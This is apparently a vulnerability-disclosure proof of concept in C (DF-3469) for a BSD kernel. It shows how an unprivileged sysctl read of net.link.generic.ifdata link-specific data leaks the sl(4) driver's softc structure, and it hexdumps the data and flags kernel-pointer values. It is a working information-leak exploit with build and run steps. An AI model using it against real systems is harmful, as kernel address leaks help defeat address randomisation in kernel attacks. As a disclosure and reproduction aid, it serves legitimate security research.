DF-3469 / read_leak.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 | /* * DF-3469 — unprivileged kernel-pointer disclosure via * net.link.generic.ifdata.<ifindex>.linkspecific (IFDATA_LINKSPECIFIC) * combined with sl(4) registering its ENTIRE struct sl_softc as * if_linkmib/if_linkmiblen (sys/net/sl/if_sl.c:218-219). * * Walks ifindex 1..ifcount, reads .1 (IFDATA_GENERAL) to get the ifnet * name, then reads .2 (IFDATA_LINKSPECIFIC) and hexdumps it, flagging * every 64-bit kernel-pointer-looking qword (0xffffxxxxxxxxxxxx on * x86_64 DF kernels). * * Expected: sl0..sl3 dump sizeof(struct sl_softc) bytes containing * struct ifnet function pointers (if_output == &sloutput), TAILQ * self-pointers (softc kernel address), callout function pointers, ... * All with NO privilege: this is a plain sysctl read. * * build: cc -O -o read_leak read_leak.c * run: ./read_leak [ifindex] */ #include <sys/types.h> #include <sys/sysctl.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <stdint.h> #include <inttypes.h> #include <unistd.h> static int read_oid(const int *oid, size_t oidlen, unsigned char **out, size_t *outlen) { int mib[8]; size_t len = 0; unsigned char *buf; size_t i; for (i = 0; i < oidlen; i++) mib[i] = oid[i]; if (sysctl(mib, (u_int)oidlen, NULL, &len, NULL, 0) < 0) return (-1); buf = malloc(len ? len : 1); if (buf == NULL) return (-1); if (sysctl(mib, (u_int)oidlen, buf, &len, NULL, 0) < 0) { free(buf); return (-1); } *out = buf; *outlen = len; return (0); } static void dump_and_flag(const char *ifname, const unsigned char *buf, size_t len) { size_t off; int nptr = 0; printf(" linkspecific len=%zu\n", len); for (off = 0; off < len; off += 16) { size_t j; printf(" %04zx:", off); for (j = 0; j < 16 && off + j < len; j++) printf(" %02x", buf[off + j]); printf("\n"); } /* flag kernel-pointer-looking aligned qwords */ for (off = 0; off + 8 <= len; off += 8) { uint64_t v; memcpy(&v, buf + off, 8); if ((v >> 44) == 0xfffff && v != 0xffffffffffffffffULL) { if (nptr == 0) printf(" kernel-pointer qwords:\n"); printf(" +%04zx: 0x%016" PRIx64 "\n", off, v); nptr++; } } printf(" %s: %d kernel-pointer-like qwords in %zu bytes\n", ifname, nptr, len); } int main(int argc, char **argv) { int ifcount_oid[5] = {4, 18, 0, 1, 1}; /* net.link.generic.system.ifcount */ int ifcount = 0; size_t olen = sizeof(ifcount); int idx; if (sysctl(ifcount_oid, 5, &ifcount, &olen, NULL, 0) < 0) { perror("ifcount"); return (1); } printf("ifcount=%d uid=%d\n", ifcount, getuid()); for (idx = 1; idx <= ifcount; idx++) { int gen_oid[6] = {4, 18, 0, 2, idx, 1}; int spec_oid[6] = {4, 18, 0, 2, idx, 2}; unsigned char *gbuf, *sbuf; size_t glen, slen; char ifname[32]; if (read_oid(gen_oid, 6, &gbuf, &glen) < 0) continue; memset(ifname, 0, sizeof(ifname)); memcpy(ifname, gbuf, glen < 15 ? glen : 15); free(gbuf); printf("ifindex %d: %s\n", idx, ifname); if (read_oid(spec_oid, 6, &sbuf, &slen) < 0) { printf(" linkspecific: <none>\n"); continue; } dump_and_flag(ifname, sbuf, slen); free(sbuf); } return (0); } |